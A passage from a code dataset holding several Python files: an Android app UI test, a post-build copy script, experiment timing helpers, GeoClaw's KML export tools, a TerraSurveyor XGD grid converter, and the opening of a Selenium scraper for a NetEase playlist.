BaseOperate.startActivity(self, PhoneControl.package_name, PhoneControl.activity_name)\n\n logger.info(\"点击进行登录\")\n BaseOperate.app_login(self, Content.register_count, Content.login_password)\n\n logger.info(\"进入我的资料界面\")\n BaseOperate.touchById(self, PhoneControl.id_me_icon)\n\n logger.info(\"进入我的头像\")\n BaseOperate.touchById(self, PhoneControl.id_profile_layout)\n\n logger.info(\"点击选择图片\")\n BaseOperate.touch_text_by_class_name(self, PhoneControl.class_name_TextView, \"选择图片\")\n\n logger.info(\"判断是否进入选择图片界面\")\n text = BaseOperate.get_text_by_id(self, PhoneControl.id_head_actionmode_title)\n self.assertEqual(text, \"选择图片\")\n\n logger.info(\"点击返回按钮\")\n BaseOperate.touchById(self, PhoneControl.id_head_select_left)\n\n logger.info(\"判断是否返回成功\")\n text = BaseOperate.get_text_by_id(self, PhoneControl.id_toolbar_title_tv)\n self.assertEqual(\"个人资料\", text)\n\n\n","sub_path":"AppTest/testCase/Sprint6/case_Sprint6_android_icon_0011.py","file_name":"case_Sprint6_android_icon_0011.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"125287845","text":"import os\nimport shutil\nimport argparse\n\nfont_file_name = 'Arial.ttf'\n\ndef getArgumentsCMD ():\n parser = argparse.ArgumentParser(description='Post build event')\n parser.add_argument ('-a', required=True, help='architecture target platform')\n parser.add_argument ('-p', required=True, help='project directory')\n parser.add_argument ('-b', required=True, help='binaries directory')\n parser.add_argument ('-o', required=True, help='output directory')\n return parser.parse_args()\n\ndef main():\n global font_file_name\n args = getArgumentsCMD()\n print('arguments received', args)\n \n print('Copy binaries... ', end='')\n try:\n files = os.listdir(args.b)\n for file_name in files:\n full_file_name = os.path.join(args.b, file_name)\n if os.path.isfile(full_file_name):\n shutil.copy(full_file_name, args.o)\n print('SUCCESS!')\n except Exception:\n print('LOSE :(')\n print('Copy font... ', end='')\n try:\n full_file_name = os.path.join(args.p, font_file_name)\n shutil.copy(full_file_name, args.o)\n print('SUCCESS!')\n except Exception:\n print('LOSE :(')\n \nif __name__ == '__main__':\n main()\n","sub_path":"SumulationBilliardBalls/PostBuild/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"387884466","text":"# import modules\nfrom myvar import *\n\n# calculates sample standard deviation\ndef get_sd(list_values):\n if(len(list_values) <= 1):\n return -1\n return np.std(list_values,dtype=np.float64,ddof=1)\n\n# finds percentage value\ndef to_percent(list_values, list_total):\n percent_list = []\n for x in range(len(list_values)):\n percent = list_values[x]/list_total[x]\n percent_list.append(percent)\n return percent_list\n\n# calculates stats for experiments\ndef calc_stats(test1, test2, test3, test4, total):\n print('avg= t1: {}, t2: {}, t3: {}, t4: {}, total: {}'.format(np.average(test1), np.average(test2), np.average(test3),np.average(test4), np.average(total)))\n t1_percent = to_percent(test1,total)\n t2_percent = to_percent(test2,total)\n t3_percent = to_percent(test3,total)\n\n other_percent = []\n for x in range(len(total)):\n other_percent.append(1-t1_percent[x]-t2_percent[x]-t3_percent[x])\n\n print('sd(%)= t1: {}, t2: {}, t3: {}, other: {} total: {}'.format(get_sd(t1_percent), get_sd(t2_percent), get_sd(t3_percent), get_sd(other_percent),get_sd(total)))\n print('len: {}'.format(len(total)))\n\n# copies a number of docs from collection to another\ndef copy_doc_to_new(source_collection, destination_collection, num_docs):\n counter = 0\n cursor = source_collection.find()\n for doc in cursor:\n destination_collection.insert_one(doc)\n counter += 1\n if(counter == num_docs):\n break\n\n# calculates execution time for function\ndef time_consumed(func, args, loop = 1):\n print('received args: {}'.format(*args))\n results = []\n start_time = time.time()\n for x in range(loop):\n results.append(func(*args))\n time_consumed = time.time()-start_time\n if(loop == 1):\n results = results[0]\n return [results, time_consumed]\n","sub_path":"data processing/archived/testing_functions.py","file_name":"testing_functions.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"80571942","text":"r\"\"\"\nkmltools module: $CLAW/geoclaw/src/python/geoclaw/kmltools.py\n\nTools to make kml files to overlay on Google Earth.\nNote that color is in KML format, BGR with 2 hex digits for each, e.g.\n\n FF0000 is blue, 00FF00 is green, 0000FF is red, 00FF00 is yellow.\n\nActually it's an 8 hex digit number, where the first two digits are\ntransparency, but in this module these default to 'FF' (but you can specify\nthe full 8 digits if you want it transparent).\n\n:Functions:\n - deg2dms - convert decimal degrees to (degrees, minutes, seconds)\n - regions2kml - create a kml outline for each regions specified in setrun\n - box2kml - create a kml outline from a rectangular box\n - quad2kml - create a kml outline for an arbitrary quadrilateral\n - poly2kml - create a kml outline for an arbitrary polygon\n - line2kml - create a kml line connecting 2 points\n - gauges2kml - create a kml marker for each gauge specified in setrun\n - kml_header - used internally\n - kml_footer - used internally\n - kml_region - used internally\n - kml_gauge - used internally\n\n - strip_archive_extensions - strip off things like .tar or .gz\n\"\"\"\n\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom six.moves import range\n\ndef f2s(x, num_digits=6):\n r\"\"\"\n Convert float to string in fixed point notation with at most\n *num_digits* digits of precision and trailing zeros removed, \n for printing nicely in kml description boxes.\n \"\"\"\n format = '%' + '.%sf' % num_digits\n s = (format % x).rstrip('0')\n return s\n \ndef deg2dms(dy):\n r\"\"\"\n Convert decimal degrees to tuple (degrees, minutes, seconds)\n \"\"\"\n\n from numpy import floor\n dy_deg = floor(dy)\n dy_min = floor((dy-dy_deg)*60.)\n dy_sec = (dy-dy_deg-dy_min/60.)*3600.\n return dy_deg,dy_min,dy_sec\n\n\ndef regions2kml(rundata=None,fname='regions.kml',verbose=True,combined=True):\n\n \"\"\"\n Create a KML box for each AMR region specified for a GeoClaw run.\n\n :Inputs:\n\n - *rundata* - an object of class *ClawRunData* or None\n\n If *rundata==None*, try to create based on executing function *setrun*\n from the `setrun.py` file in the current directory.\n\n - *fname* (str) - resulting kml file.\n\n - *verbose* (bool) - If *True*, print out info about each region found\n\n - *combined* (bool) - If *True*, combine into single kml file with\n name given by *fname*. This is the default. \n If False, *fname* is ignored and individual files are created for\n each region with names are Domain.kml, Region00.kml, etc.\n These will show up separately in GoogleEarth so they can be turned\n on or off individually.\n\n First create a box for the entire domain (in red) and then a box\n for each region (in white).\n\n :Example:\n\n >>> from clawpack.geoclaw import kmltools\n >>> kmltools.regions2kml()\n\n is equivalent to:\n\n >>> from clawpack.geoclaw import kmltools\n >>> from setrun import setrun\n >>> rundata = setrun()\n >>> kmltools.regions2kml(rundata)\n\n By default this creates a file named *regions.kml* that can be opened in\n Google Earth.\n\n \"\"\"\n\n from numpy import cos,pi,floor\n\n if rundata is None:\n try:\n import setrun\n reload(setrun)\n rundata = setrun.setrun()\n except:\n raise IOError(\"*** cannot execute setrun file\")\n\n clawdata = rundata.clawdata\n x1,y1 = clawdata.lower[0:]\n x2,y2 = clawdata.upper[0:]\n description = \" x1 = %s, x2 = %s\\n\" % (f2s(x1),f2s(x2)) \\\n + \" y1 = %s, y2 = %s\\n\" % (f2s(y1),f2s(y2))\n\n mx,my = clawdata.num_cells[0:]\n dx = (x2-x1)/float(mx)\n dx_meters = dx*111e3*cos(pi*0.5*(y1+y2)/180.)\n dy = (y2-y1)/float(my)\n dy_meters = dy*111e3\n if verbose:\n print(\"Domain: %10.6f %10.6f %10.6f %10.6f\" % (x1,x2,y1,y2))\n dx_deg,dx_min,dx_sec = deg2dms(dx)\n dy_deg,dy_min,dy_sec = deg2dms(dy)\n #print \"Level 1 resolution: dx = %g deg, %g min, %g sec = %g meters\" \\\n # % (dx_deg,dx_min,dx_sec,dx_meters)\n levtext = \"Level 1 resolution: dy = %g deg, %g min, %g sec = %g meters\\n\" \\\n % (dy_deg,dy_min,dy_sec,dy_meters)\n if verbose:\n print(levtext)\n description = description + levtext\n\n amr_levels_max = rundata.amrdata.amr_levels_max\n refinement_ratios_y = rundata.amrdata.refinement_ratios_y\n num_ref_ratios = len(refinement_ratios_y)\n if amr_levels_max > num_ref_ratios+1:\n raise IOError(\"*** Too few refinement ratios specified for \" \\\n + \"amr_levels_max = %i\" % amr_levels_max)\n dy_levels = (num_ref_ratios+1) * [dy]\n for k,r in enumerate(refinement_ratios_y):\n level = k+2\n dy = dy_levels[k] / r\n dy_levels[k+1] = dy\n dy_meters = dy*111e3\n dy_deg,dy_min,dy_sec = deg2dms(dy)\n levtext = \"Level %s resolution: dy = %g deg, %g min, %g sec = %g meters (refined by %i)\\n\" \\\n % (level,dy_deg,dy_min,dy_sec,dy_meters,r)\n if verbose:\n print(levtext)\n description = description + levtext\n\n if verbose:\n print(\"Allowing maximum of %i levels\" % amr_levels_max)\n\n elev = 0.\n if not combined:\n fname = 'Domain.kml'\n\n kml_text = kml_header(fname)\n\n mapping = {}\n mapping['x1'] = x1\n mapping['x2'] = x2\n mapping['y1'] = y1\n mapping['y2'] = y2\n mapping['elev'] = elev\n mapping['name'] = 'Computational Domain'\n mapping['desc'] = description\n mapping['color'] = \"0000FF\" # red\n mapping['width'] = 2\n\n region_text = kml_region(mapping)\n kml_text = kml_text + region_text\n\n if not combined:\n kml_text = kml_text + kml_footer()\n kml_file = open(fname,'w')\n kml_file.write(kml_text)\n kml_file.close()\n if verbose:\n print(\"Created \",fname)\n\n \n\n regions = rundata.regiondata.regions\n if len(regions)==0 and verbose:\n print(\"No regions found in setrun.py\")\n\n\n for rnum,region in enumerate(regions):\n if not combined:\n fname = 'Region_%s.kml' % str(rnum).zfill(2)\n kml_text = kml_header(fname)\n\n minlevel,maxlevel = region[0:2]\n t1,t2 = region[2:4]\n x1,x2,y1,y2 = region[4:]\n\n if verbose:\n print(\"Region %i: %10.6f %10.6f %10.6f %10.6f\" \\\n % (rnum,x1,x2,y1,y2))\n print(\" minlevel = %i, maxlevel = %i\" \\\n % (minlevel,maxlevel) \\\n + \" t1 = %s, t2 = %s\" % (f2s(t1),f2s(t2)))\n mapping = {}\n mapping['minlevel'] = minlevel\n mapping['maxlevel'] = maxlevel\n mapping['t1'] = t1\n mapping['t2'] = t2\n mapping['x1'] = x1\n mapping['x2'] = x2\n mapping['y1'] = y1\n mapping['y2'] = y2\n mapping['elev'] = elev\n mapping['name'] = 'Region %i' % rnum\n description = \"minlevel = %i, maxlevel = %i\\n\" % (minlevel,maxlevel) \\\n + \" t1 = %s, t2 = %s\\n\" % (f2s(t1),f2s(t2)) \\\n + \" x1 = %s, x2 = %s\\n\" % (f2s(x1),f2s(x2)) \\\n + \" y1 = %s, y2 = %s\\n\\n\" % (f2s(y1),f2s(y2))\n if len(dy_levels) >= minlevel:\n dy = dy_levels[minlevel-1]\n dy_deg,dy_min,dy_sec = deg2dms(dy)\n dy_meters = dy*111e3\n levtext = \"Level %s resolution: \\ndy = %g deg, %g min, %g sec \\n= %g meters\\n\" \\\n % (minlevel,dy_deg,dy_min,dy_sec,dy_meters)\n description = description + levtext\n if (maxlevel > minlevel) and (len(dy_levels) >= maxlevel):\n dy = dy_levels[maxlevel-1]\n dy_deg,dy_min,dy_sec = deg2dms(dy)\n dy_meters = dy*111e3\n levtext = \"\\nLevel %s resolution: \\ndy = %g deg, %g min, %g sec \\n= %g meters\\n\" \\\n % (maxlevel,dy_deg,dy_min,dy_sec,dy_meters)\n description = description + levtext\n mapping['desc'] = description\n mapping['color'] = \"FFFFFF\" # white\n mapping['width'] = 3\n\n region_text = kml_region(mapping)\n kml_text = kml_text + region_text\n if not combined:\n kml_text = kml_text + kml_footer()\n kml_file = open(fname,'w')\n kml_file.write(kml_text)\n kml_file.close()\n if verbose:\n print(\"Created \",fname)\n\n if combined:\n kml_text = kml_text + kml_footer()\n kml_file = open(fname,'w')\n kml_file.write(kml_text)\n kml_file.close()\n if verbose:\n print(\"Created \",fname)\n\n\ndef line2kml(xy,fname='line.kml',name='line',color='00FFFF',width=3,\n verbose=True):\n \"\"\"\n Make a KML line with default color yellow.\n\n :Inputs:\n\n - *xy* a tuple ((x1,x2),(y1,y2)) (preferred) \n or (x1,x2,y1,y2) (for backward compatibility)\n - *fname* (str) name of resulting kml file\n - *name* (str) name to appear on line on Google Earth\n - *color* (str) Color in format aabbggrr\n - *width* (str) line width\n - *verbose* (bool) - If *True*, print out info\n\n \"\"\"\n \n if type(xy[0]) is tuple:\n x1,x2 = xy[0]\n y1,y2 = xy[1]\n else:\n x1,x2,y1,y2 = xy[0:]\n\n if verbose:\n print(\"Line: %10.6f %10.6f %10.6f %10.6f\" % (x1,x2,y1,y2))\n\n elev = 0.\n kml_text = kml_header(fname)\n\n mapping = {}\n mapping['x1'] = x1\n mapping['x2'] = x2\n mapping['y1'] = y1\n mapping['y2'] = y2\n mapping['elev'] = elev\n mapping['name'] = name\n mapping['desc'] = \" x1 = %s, x2 = %s\\n\" % (f2s(x1),f2s(x2)) \\\n + \" y1 = %s, y2 = %s\" % (f2s(y1),f2s(y2))\n mapping['color'] = color\n mapping['width'] = width\n\n region_text = kml_line(mapping)\n\n kml_text = kml_text + region_text + kml_footer()\n kml_file = open(fname,'w')\n kml_file.write(kml_text)\n kml_file.close()\n if verbose:\n print(\"Created \",fname)\n\n\ndef box2kml(xy,fname=None,name='box',color='FF0000',width=3,verbose=True):\n \"\"\"\n Make a KML box with default color blue.\n\n :Inputs:\n\n - *xy* a tuple ((x1,x2),(y1,y2)) (preferred) \n or (x1,x2,y1,y2) (for backward compatibility)\n - *fname* (str) name of resulting kml file\n - *name* (str) name to appear in box on Google Earth\n - *color* (str) Color in format aabbggrr\n - *width* (str) line width\n - *verbose* (bool) - If *True*, print out info\n\n \"\"\"\n\n if fname is None:\n fname = name + '.kml'\n\n if type(xy[0]) is tuple:\n x1,x2 = xy[0]\n y1,y2 = xy[1]\n else:\n x1,x2,y1,y2 = xy[0:]\n\n if verbose:\n print(\"Box: %10.6f %10.6f %10.6f %10.6f\" % (x1,x2,y1,y2))\n\n elev = 0.\n kml_text = kml_header(fname)\n\n mapping = {}\n mapping['x1'] = x1\n mapping['x2'] = x2\n mapping['y1'] = y1\n mapping['y2'] = y2\n mapping['elev'] = elev\n mapping['name'] = name\n mapping['desc'] = \" x1 = %s, x2 = %s\\n\" % (f2s(x1),f2s(x2)) \\\n + \" y1 = %s, y2 = %s\" % (f2s(y1),f2s(y2))\n mapping['color'] = color\n mapping['width'] = width\n\n region_text = kml_region(mapping)\n\n kml_text = kml_text + region_text + kml_footer()\n kml_file = open(fname,'w')\n kml_file.write(kml_text)\n kml_file.close()\n if verbose:\n print(\"Created \",fname)\n\n\ndef quad2kml(xy,fname=None,name='quad',color='FF0000',width=3,verbose=True):\n \"\"\"\n Make a KML quadrilateral with default color blue.\n\n :Inputs:\n\n - *xy* a tuple ((x1,x2,x3,x4),(y1,y2,y3,y4)) (preferred) \n or (x1,x2,y1,y2,x3,y3,x4,y4) (for backward compatibility)\n - *fname* (str) name of resulting kml file\n - *name* (str) name to appear in box on Google Earth\n - *color* (str) Color in format aabbggrr\n - *width* (str) line width\n - *verbose* (bool) - If *True*, print out info\n\n \"\"\"\n\n if fname is None:\n fname = name + '.kml'\n\n if type(xy[0]) is tuple:\n x1,x2,x3,x4 = xy[0]\n y1,y2,y3,y4 = xy[1]\n else:\n x1,y1,x2,y2,x3,y3,x4,y4 = xy[0:]\n\n if verbose:\n print(\"Quadrilateral: %10.6f %10.6f\" % (x1,y1))\n print(\" %10.6f %10.6f\" % (x2,y2))\n print(\" %10.6f %10.6f\" % (x3,y3))\n print(\" %10.6f %10.6f\" % (x4,y4))\n\n elev = 0.\n kml_text = kml_header(fname)\n\n mapping = {}\n mapping['x1'] = x1\n mapping['x2'] = x2\n mapping['x3'] = x3\n mapping['x4'] = x4\n mapping['y1'] = y1\n mapping['y2'] = y2\n mapping['y3'] = y3\n mapping['y4'] = y4\n mapping['elev'] = elev\n mapping['name'] = name\n mapping['desc'] = \" x1 = %s, y1 = %s\\n\" % (f2s(x1),f2s(y1)) \\\n + \" x2 = %s, y2 = %s\" % (f2s(x2),f2s(y2)) \\\n + \" x3 = %s, y3 = %s\" % (f2s(x3),f2s(y3)) \\\n + \" x4 = %s, y4 = %s\" % (f2s(x4),f2s(y4))\n mapping['color'] = color\n mapping['width'] = 3\n\n region_text = kml_region(mapping)\n\n kml_text = kml_text + region_text + kml_footer()\n kml_file = open(fname,'w')\n kml_file.write(kml_text)\n kml_file.close()\n if verbose:\n print(\"Created \",fname)\n\n\ndef poly2kml(xy,fname=None,name='poly',color='00FF00', width=3,\n verbose=True):\n \"\"\"\n Make a KML polygon with default color blue.\n\n :Inputs:\n\n - *xy* a tuple (x,y) where x and y are lists of vertices\n - *fname* (str) name of resulting kml file\n - *name* (str) name to appear in box on Google Earth\n - *color* (str) Color in format aabbggrr\n - *width* (str) line width\n - *verbose* (bool) - If *True*, print out info\n\n \"\"\"\n\n if fname is None:\n fname = name + '.kml'\n\n x,y = xy\n\n if verbose:\n print(\"Polygon: %10.6f %10.6f\" % (x[0],y[0]))\n for j in range(1,len(x)):\n print(\" %10.6f %10.6f\" % (x[j],y[j]))\n\n elev = 0.\n kml_text = kml_header(fname)\n\n mapping = {}\n mapping['x'] = x\n mapping['y'] = y\n mapping['elev'] = elev\n mapping['name'] = name\n d = \" x[0] = %s, y[0] = %s\\n\" % (x[0],y[0]) \n for j in range(1,len(x)):\n d = d + \" x[%i] = %s, y[%i] = %s\" % (j,f2s(x[j]),j,f2s(y[j]))\n mapping['desc'] = d\n mapping['color'] = color\n mapping['width'] = width\n\n v = \"\\n\"\n for j in range(len(x)):\n v = v + \"%s,%s,%s\\n\" % (f2s(x[j]),f2s(y[j]),f2s(elev))\n v = v + \"%s,%s,%s\\n\" % (f2s(x[0]),f2s(y[0]),f2s(elev))\n v.replace(' ','')\n \n region_text = kml_region(mapping, v)\n for j in range(1,len(x)):\n d = d + \" x[%i] = %s, y[%i] = %s\" % (j,f2s(x[j]),j,f2s(y[j]))\n\n kml_text = kml_text + region_text + kml_footer()\n kml_file = open(fname,'w')\n kml_file.write(kml_text)\n kml_file.close()\n if verbose:\n print(\"Created \",fname)\n\n\ndef gauges2kml(rundata=None, fname='gauges.kml', verbose=True):\n\n \"\"\"\n\n Create a KML marker for each gauge specified for a GeoClaw run.\n\n :Inputs:\n\n - *rundata* - an object of class *ClawRunData* or None\n\n If *rundata==None*, try to create based on executing function *setrun*\n from the `setrun.py` file in the current directory.\n\n - *fname* (str) - resulting kml file.\n\n - *verbose* (bool) - If *True*, print out info about each region found\n\n\n :Example:\n\n >>> from clawpack.geoclaw import kmltools\n >>> kmltools.gauges2kml()\n\n is equivalent to:\n\n >>> from clawpack.geoclaw import kmltools\n >>> from setrun import setrun\n >>> rundata = setrun()\n >>> kmltools.gauges2kml(rundata)\n\n By default this creates a file named *gauges.kml* that can be opened in\n Google Earth.\n\n \"\"\"\n\n\n if rundata is None:\n try:\n import setrun\n reload(setrun)\n rundata = setrun.setrun()\n except:\n raise IOError(\"*** cannot execute setrun file\")\n\n elev = 0.\n kml_text = kml_header(fname)\n\n\n gauges = rundata.gaugedata.gauges\n if len(gauges)==0 and verbose:\n print(\"No gauges found in setrun.py\")\n\n\n for rnum,gauge in enumerate(gauges):\n t1,t2 = gauge[3:5]\n x1,y1 = gauge[1:3]\n gaugeno = gauge[0]\n if verbose:\n print(\"Gauge %i: %s, %s \\n\" % (gaugeno,f2s(x1),f2s(y1)) \\\n + \" t1 = %s, t2 = %s\" % (f2s(t1),f2s(t2)))\n mapping = {}\n mapping['gaugeno'] = gaugeno\n mapping['t1'] = t1\n mapping['t2'] = t2\n mapping['x1'] = x1\n mapping['y1'] = y1\n mapping['elev'] = elev\n mapping['name'] = 'Gauge %i' % rnum\n description = \" t1 = %s, t2 = %s\\n\" % (f2s(t1),f2s(t2)) \\\n + \" x1 = %s, y1 = %s\\n\" % (f2s(x1),f2s(y1))\n mapping['desc'] = description\n\n gauge_text = kml_gauge(mapping)\n kml_text = kml_text + gauge_text\n kml_text = kml_text + kml_footer()\n kml_file = open(fname,'w')\n kml_file.write(kml_text)\n kml_file.close()\n if verbose:\n print(\"Created \",fname)\n\n\n\ndef kml_header(name='GeoClaw kml file'):\n header = \"\"\"\n\n%s\n\"\"\" % name\n return header\n\ndef kml_footer():\n footer = \"\"\"\n\n\n\"\"\"\n return footer\n\n\ndef kml_region(mapping, vertex_text=None):\n\n if vertex_text is None:\n if 'x3' in mapping:\n # quadrilateral with 4 corners specified\n vertex_text = \"\"\"\n{x1:.9f},{y1:.9f},{elev:.9f}\n{x2:.9f},{y2:.9f},{elev:.9f}\n{x3:.9f},{y3:.9f},{elev:.9f}\n{x4:.9f},{y4:.9f},{elev:.9f}\n{x1:.9f},{y1:.9f},{elev:.9f}\n\"\"\".format(**mapping).replace(' ','')\n\n else:\n # rectangle with 2 corners specified\n vertex_text = \"\"\"\n{x1:.9f},{y1:.9f},{elev:.9f}\n{x2:.9f},{y1:.9f},{elev:.9f}\n{x2:.9f},{y2:.9f},{elev:.9f}\n{x1:.9f},{y2:.9f},{elev:.9f}\n{x1:.9f},{y1:.9f},{elev:.9f}\n\"\"\".format(**mapping).replace(' ','')\n\n mapping['vertices'] = vertex_text\n if len(mapping['color'])==6:\n mapping['color'] = 'FF' + mapping['color']\n\n kml_text = \"\"\"\n\n{name:s}\n{desc:s}\n#Path\n\n1\nclampToGround\n\n{vertices:s}\n\n\n\n\"\"\".format(**mapping)\n\n return kml_text\n\ndef kml_line(mapping):\n\n if len(mapping['color'])==6:\n mapping['color'] = 'FF' + mapping['color']\n\n line_text = \"\"\"\n{x1:.9f},{y1:.9f},{elev:.9f}\n{x2:.9f},{y2:.9f},{elev:.9f}\n\"\"\".format(**mapping).replace(' ','')\n\n mapping['line'] = line_text\n kml_text = \"\"\"\n\n{name:s}\n{desc:s}\n#Path\n\n1\nclampToGround\n\n{line:s}\n\n\n\n\"\"\".format(**mapping)\n\n return kml_text\n\ndef kml_gauge(mapping):\n gauge_text = \"{x1:.9f},{y1:.9f},{elev:.9f}\".format(**mapping).replace(' ','')\n\n mapping['gauge'] = gauge_text\n\n kml_text = \"\"\"\nGauge {gaugeno:d}\n{desc:s}\n#markerstyle\n\n\n{gauge:s}\n\n\n\n\"\"\".format(**mapping)\n\n return kml_text\n\n\n\ndef kml_timespan(t1,t2,event_time=None,tz=None,tscale=1):\n\n r\"\"\"\n Create time strings necessary for sliders in Google Earth. The time\n span will cover time [t1,t2], with the start of the event given by\n event_time.\n\n [t1,t2] : time span,\n\n event_time : Start of event in UTC : [Y,M,D,H,M,S], e.g. [2010,2,27,3,34,0]\n tz : time zone offset to UTC. e.g. +3 for Chile; -9 for Japan.\n\n Time span element looks like ::\n\n \n 2010-02-27T06:34:00+03:00\n 2010-02-27T07:04:00+03:00\n \n\n As for how well this handles Daylight Savings time, here is what the documentation\n on the Python 'time' module has to say :\n\n \"DST is Daylight Saving Time, an adjustment of the timezone by (usually) one hour\n during part of the year. DST rules are magic (determined by local law) and can\n change from year to year. The C library has a table containing the local rules\n (often it is read from a system file for flexibility) and is the only source of\n True Wisdom in this respect.\"\n\n \"\"\"\n\n t1 = t1*tscale # Time converted to seconds\n t2 = t2*tscale\n\n import time\n # to adjust time from UTC to time in event locale.\n if event_time == None:\n # Use local time.\n starttime = time.mktime(time.localtime()) # seconds UTC\n tz_offset = time.timezone/3600.0 # in seconds\n else:\n ev = tuple(event_time) + (0,0,0) # Extend to 9 tuple; no DST\n # mktime returns time in seconds + timezone offset, i.e. seconds UTC\n # Subtract out the timezone offset here, since it will get added back\n # in when we do gmtime(starttime + ...) below.\n starttime = time.mktime(ev) - time.timezone\n if tz is None:\n print(\"===> Time zone offset not defined; assuming zero offset. \" \\\n \"Set plotdata.kml_tz_offset to define an offset (in hours) from \"\\\n \"UTC (positive west of UTC; negative east of UTC)\")\n tz = 0\n\n tz_offset = tz\n\n if (tz_offset == None):\n tzstr = \"Z\" # no offset; could also just set to \"+00:00\"\n else:\n # Google Earth will show time slider time in local time, where\n # local + offset = UTC.\n tz_offset = tz_offset*3600. # Offset in seconds\n tz = time.gmtime(abs(tz_offset))\n if (tz_offset > 0):\n tzstr = time.strftime(\"+%H:%M\",tz) # Time to UTC\n else:\n tzstr = time.strftime(\"-%H:%M\",tz)\n\n # Get time strings for start and end of time span\n gbegin = time.gmtime(starttime + t1)\n timestrbegin = \"%s%s\" % (time.strftime(\"%Y-%m-%dT%H:%M:%S\", gbegin),tzstr)\n\n gend = time.gmtime(starttime + t2)\n timestrend = \"%s%s\" % (time.strftime(\"%Y-%m-%dT%H:%M:%S\", gend),tzstr)\n\n return timestrbegin,timestrend\n\ndef topo2kml(topo_file_name, topo_type, color='00FF00'): \n \"\"\"\n Create a kml file putting a box around the region covered by a topofile.\n Color is green by default.\n \"\"\"\n\n import os\n from clawpack.geoclaw import topotools\n topo = topotools.Topography(topo_file_name, topo_type=topo_type)\n topo.read_header()\n xy = topo.extent\n name = os.path.splitext(os.path.split(topo_file_name)[-1])[0]\n file_name = '%s.kml' % name\n box2kml(xy, file_name, name, color)\n\ndef dtopo2kml(dtopo_file_name, dtopo_type, color='8888FF'): \n \"\"\"\n Create a kml file putting a box around the region covered by a dtopofile.\n Color is pink by default.\n \"\"\"\n\n import os\n from clawpack.geoclaw import dtopotools\n dtopo = dtopotools.DTopography()\n dtopo.read(dtopo_file_name, dtopo_type)\n x1 = dtopo.x.min()\n x2 = dtopo.x.max()\n y1 = dtopo.y.min()\n y2 = dtopo.y.max()\n xy = (x1,x2,y1,y2)\n name = os.path.splitext(os.path.split(dtopo_file_name)[-1])[0]\n file_name = '%s.kml' % name\n box2kml(xy, file_name, name, color)\n \n\ndef make_input_data_kmls(rundata):\n \"\"\"\n Produce kml files for the computational domain, all gauges and regions \n specified, and all topo and dtopo files specified in rundata.\n This can be used, e.g. by adding the lines \n\n from clawpack.geoclaw import kmltools\n kmltools.make_input_data_kmls(rundata)\n\n to the end of a `setrun.py` file so that `make data` will generate all\n kml files in addition to the `*.data` files.\n \"\"\"\n \n import os\n from . import topotools, dtopotools\n\n regions2kml(rundata, combined=False)\n gauges2kml(rundata)\n\n topofiles = rundata.topo_data.topofiles\n for f in topofiles:\n topo_file_name = f[-1]\n topo_type = f[0]\n topo2kml(topo_file_name, topo_type)\n \n dtopofiles = rundata.dtopo_data.dtopofiles\n for f in dtopofiles:\n dtopo_file_name = f[-1]\n dtopo_type = f[0]\n dtopo2kml(dtopo_file_name, dtopo_type)\n \n \n","sub_path":"src/python/geoclaw/kmltools.py","file_name":"kmltools.py","file_ext":"py","file_size_in_byte":24411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"600603073","text":"from os import listdir, makedirs\nfrom os.path import basename, dirname, isdir, join\nfrom re import findall\nimport numpy as np\nimport pandas as pd\n\n\nclass XGD:\n \"\"\"Conversion methods for TerraSurveyor XGD file\"\"\"\n def __init__(self, path_to_xgd):\n #self.rdir = dirname(dirname(path_to_xgd))\n self.path_to_xgd = path_to_xgd\n self.lines = self._to_lines()\n self.meta = self._get_metadata()\n self.dummy = 2047.5\n #a = self.to_array()\n\n def _to_lines(self):\n \"\"\"Return xgd content as a list of lines\"\"\"\n with open(self.path_to_xgd, 'r') as f:\n lines = f.readlines()\n return(lines)\n \n def _get_metadata(self):\n \"\"\"Return xgd metadata to a dictionary\"\"\"\n l = [i for i in self.lines if not i.startswith('','').replace('\"','')\n grid_info = l[3].split()\n grid = lambda x: float(grid_info[x].split('=')[1].replace('\"',''))\n t_len, i_len, t_sep, i_sep = [grid(i) for i in [1,2,3,4]]\n d = {\n 'traverse_len': t_len,\n 'interval_len': i_len,\n 'traverse_sep': t_sep,\n 'interval_sep': i_sep,\n 'mode': mode,\n }\n return(d)\n\n def _line_to_xyz(self, line):\n \"\"\"\"\"\"\n a = line.split()[1:4]\n b = [findall(r'\\d+', i) for i in a]\n c = [float('.'.join(i)) for i in b]\n return(c)\n\n def _dummy_array(self):\n \"\"\"Return an array of dummy values\"\"\"\n m = self.meta\n x, y = self._array_shape()\n lst = [[i, j, self.dummy] for i in range(x) for j in range(y)]\n a = np.array(lst)[:,[1,0,2]]\n return(a)\n\n def _array_shape(self):\n \"\"\"Return the shape of the grid array\"\"\"\n m = self.meta\n x = int(m['interval_len'] / m['interval_sep'])\n y = int(m['traverse_len'] / m['traverse_sep'])\n return(x, y)\n \n def _pad_missing_dummies(self, lst):\n \"\"\"A situation occurred where dummy values were not recorded but the locations of missing values were evident from associated missing x and y values. This method acts to fill the missing value\"\"\"\n a = self._dummy_array()\n array = np.array(lst)\n interval_len = self._array_shape()[0]\n for i in array:\n x,y,v = i\n idx = int(x+y*interval_len)\n a[idx] = [x,y,v]\n return(a)\n\n def to_list(self):\n \"\"\"\"\"\"\n lst = [self._line_to_xyz(i) for i in self.lines if i.startswith('a\")\n # 用XPath的话, \"//\"表示任意级, \"/\"表示一级\n # 也可以用这个函数, 效果没差: .find_element_by_css_selector(\"//span[@class='txt']/a\")\n\n link_song = song.get_attribute(\"href\")\n title_song = records[i].find_element_by_css_selector(\"span.txt>a>b\").get_attribute(\"title\")\n\n title_song = title_song.replace(' ', ' ') # 去除奸奇空格, 替换为普通空格\n author = records[i].find_element_by_css_selector(\"div.text\").get_attribute(\"title\")\n\n print(i, title_song, link_song, author)\n # print(i)\n\n list.append((title_song, link_song, author))\n # return np.array(list)\n return list\n\n\n\ndef main():\n # 网址\n # url = \"https://music.163.com/playlist?id=3077285212\"\n\n url = \"https://music.163.com/#/playlist?id=2476409230\"\n\n # 选项\n options = Options() # 调用sele库进行设置\n options.add_argument(\"--headless\")\n # options.headless 